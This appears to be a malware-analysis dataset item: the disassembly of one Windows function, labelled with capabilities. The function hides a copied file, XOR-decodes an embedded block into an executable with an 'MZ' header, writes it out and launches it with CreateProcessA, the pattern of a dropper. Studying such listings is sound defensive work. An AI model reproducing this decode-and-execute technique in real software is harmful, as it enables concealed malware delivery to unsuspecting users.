Function at 0x40481f
Capabilities:
Copy file
Create process on windows
Encode data using xor
Set file attributes

Disassembly:
enter 0xb20, 1
push ebx
push esi
push edi
push 0x40a8ff
push 0x404daa
call fcn.00407f14
or dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x6fc]
push eax
push dword [0x40b544]
push 0xff
call fcn.004078f8
lea eax, [ebp - 0x19c]
push eax
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x39c]
push eax
call fcn.004063ec
lea eax, [ebp - 0x5f5]
push eax
push dword [0x40b544]
call fcn.00407928
mov byte [ebp - 0x5f6], 0x30
mov byte [ebp - 0x5f7], 0x30
call fcn.00404721
push 0x4000
lea eax, [ebp - 0x9c]
push eax
mov eax, dword [ebp - 0x5f5]
push eax
call sub.kernel32.dll_OpenFile
cmp eax, 0xffffffff
je 0x4048b5
cmp byte [ebp - 0x5f6], 0x39
jne 0x40488a
push 0
mov eax, dword [ebp - 0x5f5]
push eax
mov eax, dword [0x40b544]
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
jne 0x404921
cmp dword [ebp - 0x10], 0xffffffff
jne 0x404921
lea eax, [ebp - 0x5f5]
push eax
lea eax, [ebp - 0x700]
push eax
lea eax, [ebp - 0x6fc]
push eax
call fcn.00401090
push eax
call fcn.00406fc2
lea eax, [ebp - 0x29c]
push eax
call fcn.00407744
lea eax, [ebp - 0x39c]
push eax
call fcn.00407744
call fcn.00407874
pop eax
push dword [eax]
call fcn.00407928
and dword [ebp - 0x10], 0
jmp 0x40487c
push 2
mov eax, dword [ebp - 0x5f5]
push eax
call sub.kernel32.dll_SetFileAttributesA
push 2
mov eax, dword [ebp - 0x5f5]
push eax
call sub.kernel32.dll__lopen
mov dword [ebp - 0xb24], eax
mov eax, dword [ebp - 0xb24]
cmp eax, 0xffffffff
jne 0x404966
push 0x10
push 0
mov eax, dword [0x40b520]
push dword [eax + 0x3c]
push 0
call sub.user32.dll_MessageBoxA
jmp 0x404d92
mov edi, 1
mov ecx, dword [0x40b71d]
mov eax, edi
add eax, 0x2ac
mov al, byte [eax + ecx]
mov byte [edi + 0x40b706], al
inc edi
cmp edi, 0xa
jle 0x40496b
push 0
push 0x300
mov eax, dword [ebp - 0xb24]
push eax
call sub.kernel32.dll__llseek
cmp eax, 0xffffffff
jne 0x4049a4
jmp 0x404b08
push 2
lea eax, [ebp - 0x5f9]
push eax
mov eax, dword [ebp - 0xb24]
push eax
call sub.kernel32.dll__lread
cmp eax, 0xffffffff
jne 0x4049c3
jmp 0x404b08
push 0
mov ecx, dword [0x40b558]
sub ecx, 0x6d4e
movzx eax, word [ebp - 0x5f9]
sub ecx, eax
push ecx
mov eax, dword [ebp - 0xb24]
push eax
call sub.kernel32.dll__llseek
cmp eax, 0xffffffff
jne 0x4049f1
jmp 0x404b08
push 0x6d4e
push dword [0x40b721]
mov eax, dword [ebp - 0xb24]
push eax
call sub.kernel32.dll__lread
cmp eax, 0xffffffff
jne 0x404a12
jmp 0x404b08
mov eax, dword [ebp - 0xb24]
push eax
mov ecx, dword [0x40b558]
sub ecx, 0x6d4e
movzx eax, word [ebp - 0x5f9]
sub ecx, eax
push ecx
call fcn.0040673c
and esi, 0
mov edi, 1
movzx eax, byte [edi + 0x40b706]
add eax, esi
inc eax
mov esi, eax
inc edi
cmp edi, 0xa
jle 0x404a3c
and edi, 0
mov eax, dword [0x40b721]
mov bl, byte [edi + eax]
mov eax, edi
dec eax
mov ecx, 0xa
cdq
idiv ecx
inc edx
xor bl, byte [edx + 0x40b706]
movzx ebx, bl
mov eax, esi
imul edi
xor ebx, eax
mov eax, dword [0x40b721]
mov byte [edi + eax], bl
inc edi
cmp edi, 0x6d4d
jle 0x404a51
mov eax, dword [0x40b721]
mov byte [eax], 0x4d
mov eax, dword [0x40b721]
mov byte [eax + 1], 0x5a
mov edi, 1
mov ecx, dword [0x40b71d]
mov eax, edi
add eax, 0x261
mov bl, byte [eax + ecx]
mov eax, edi
dec eax
mov ecx, 0xa
cdq
idiv ecx
inc edx
xor bl, byte [edx + 0x40b706]
mov ecx, dword [0x40b721]
mov eax, edi
add eax, 0xbb8
mov byte [eax + ecx], bl
inc edi
cmp edi, 0x14
jle 0x404a9b
push 0
push 0
mov eax, dword [ebp - 0xb24]
push eax
call sub.kernel32.dll__llseek
cmp eax, 0xffffffff
jne 0x404aea
jmp 0x404b08
push 0x6d4e
push dword [0x40b721]
mov eax, dword [ebp - 0xb24]
push eax
call sub.kernel32.dll__lwrite
cmp eax, 0xffffffff
jne 0x404b08
jmp 0x404b08
mov eax, dword [ebp - 0xb24]
push eax
call sub.kernel32.dll__lclose
cmp eax, 0xffffffff
jne 0x404b1e
jmp 0x404d92
push 0x40b715
push dword [ebp - 0x5f5]
call fcn.00407928
call fcn.0040854c
test eax, eax
jne 0x404b80
push 0x40a8a2
push dword [ebp - 0x5f5]
call fcn.00407b5c
test eax, eax
je 0x404b80
lea eax, [ebp - 0x5f5]
push eax
lea eax, [ebp - 0x704]
push eax
push 0x40a8ac
call fcn.00407960
push dword [ebp - 0x5f5]
call fcn.004079c4
push 0x40a8b6
call fcn.004079c4
pop eax
push dword [eax]
call fcn.00407928
call fcn.0040854c
test eax, eax
je 0x404d0d
push 0x40a8c0
push dword [ebp - 0x5f5]
call fcn.00407b5c
test eax, eax
je 0x404cae
lea eax, [ebp - 0x5f5]
push eax
lea eax, [ebp - 0x708]
push eax
push 0x40a8ca
call fcn.00407960
push dword [ebp - 0x5f5]
call fcn.004079c4
push 0x40a8d4
call fcn.004079c4
pop eax
push dword [eax]
call fcn.00407928
call fcn.0040854c
mov esi, eax
mov edi, 1
jmp 0x404ca4
lea eax, [ebp - 0x808]
push eax
push edi
call fcn.00408554
pop eax
cmp byte [eax + 1], 0x22
jne 0x404c4d
lea eax, [ebp - 0x5f5]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 0x5f5]
call fcn.00407960
push 0x40a8de
call fcn.004079c4
lea eax, [ebp - 0x910]
push eax
lea eax, [ebp - 0x90c]
push eax
push edi
call fcn.00408554
call fcn.00407874
pop eax
push dword [eax]
call fcn.004079c4
pop eax
push dword [eax]
call fcn.00407928
jmp 0x404ca3
lea eax, [ebp - 0x5f5]
push eax
lea eax, [ebp - 0x914]
push eax
push dword [ebp - 0x5f5]
call fcn.00407960
push 0x40a8e8
call fcn.004079c4
lea eax, [ebp - 0xa18]
push eax
lea eax, [ebp - 0xa14]
push eax
push edi
call fcn.00408554
call fcn.00407874
pop eax
push dword [eax]
call fcn.004079c4
push 0x40a8f3
call fcn.004079c4
pop eax
push dword [eax]
call fcn.00407928
inc edi
cmp esi, edi
jge 0x404beb
jmp 0x404d0d
call fcn.0040854c
mov esi, eax
mov edi, 1
jmp 0x404d09
lea eax, [ebp - 0x5f5]
push eax
lea eax, [ebp - 0xa1c]
push eax
push dword [ebp - 0x5f5]
call fcn.00407960
push 0x40a8fd
call fcn.004079c4
lea eax, [ebp - 0xb20]
push eax
lea eax, [ebp - 0xb1c]
push eax
push edi
call fcn.00408554
call fcn.00407874
pop eax
push dword [eax]
call fcn.004079c4
pop eax
push dword [eax]
call fcn.00407928
inc edi
cmp esi, edi
jge 0x404cbc
mov dword [ebp - 0x3e0], 0x44
and dword [ebp - 0x3dc], 0
and dword [ebp - 0x3d8], 0
and dword [ebp - 0x3d4], 0
mov dword [ebp - 0x3b4], 1
and word [ebp - 0x3ae], 0
and dword [ebp - 0x3ac], 0
mov word [ebp - 0x3b0], 5
lea eax, [ebp - 0x5f1]
push eax
lea eax, [ebp - 0x19c]
push eax
call fcn.00406f31
lea eax, [ebp - 0x3f0]
push eax
lea eax, [ebp - 0x3e0]
push eax
lea eax, [ebp - 0x5f1]
push eax
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x5f5]
push eax
mov eax, dword [0x40b715]
push eax
call sub.kernel32.dll_CreateProcessA
xor eax, eax
pop dword fs:[eax]
add esp, 8
push 0x404db1
push 0x40a8ff
call fcn.00407f68
ret